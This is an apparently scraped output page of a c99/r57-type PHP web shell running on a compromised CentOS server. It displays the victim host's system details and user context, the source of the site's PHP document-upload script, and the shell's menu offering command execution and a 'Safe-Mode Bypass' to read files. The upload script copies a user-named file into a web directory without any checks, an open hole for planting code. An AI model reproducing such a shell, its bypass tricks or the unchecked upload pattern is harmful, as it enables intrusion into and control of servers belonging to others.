Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/Qa_depart/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php include("../include/FunctionDB.php"); ConnectDB(); $Flag = true; $Report_name = htmlspecialchars(trim($Report_name)); $conditionId = htmlspecialchars(trim($conditionId)); ///////////////////// check name if ($Report_name =="") { $msg .="<li>กรุณากรอก รายการเอกสาร"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } ///////////////////// check name if ($conditionId =="") { $msg .="<li>กรุณาเลือกหมวดเอกสาร"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } /////////////////////// Check if( $Flag) { $Path = "../Qa_pic"; if ( isset($Filename)) if (copy($Filename,"$Path/$Filename_name")) { unlink ($Filename); $Filename = "$Path/$Filename_name"; } else echo"Can't Copy"; // InsertDocument($Docom_name,$conditionId,"Doc_pic/".$_FILES['Img1']['name']); InsertReport($Report_name,$code,$Ind_code,$conditionId,$Filename); $msg.="<li>ระบบจัดเก็บข้อมูลเรียบร้อยแล้ว"; echo"<center>"; echo "<br><font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">กรุณา refresh หน้ารายการอีกครั้ง</font>"; echo "<br><input type=\"reset\" value=\"Close Windows\" onclick=\"javascript:parent.close();\" style=\"font-weight:bold;color:font-family:Tohoma;\">"; echo"</center>"; // echo"<meta http-equiv=\"refresh\" content=\"2;URL=DocumentList.php\">\n"; } CloseDB(); ?> <html> <head> <title></title> <link rel="stylesheet" href="../css/style1.css" type="text/css"> <meta http-equiv="Content-Type" content="text/html; charset=windows-874"> <style type="text/css"> <!-- .style1 { font-size: 14px; font-weight: bold; } --> </style> </head> <body bgcolor="#FFFFFF"> </body> </html> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]-- |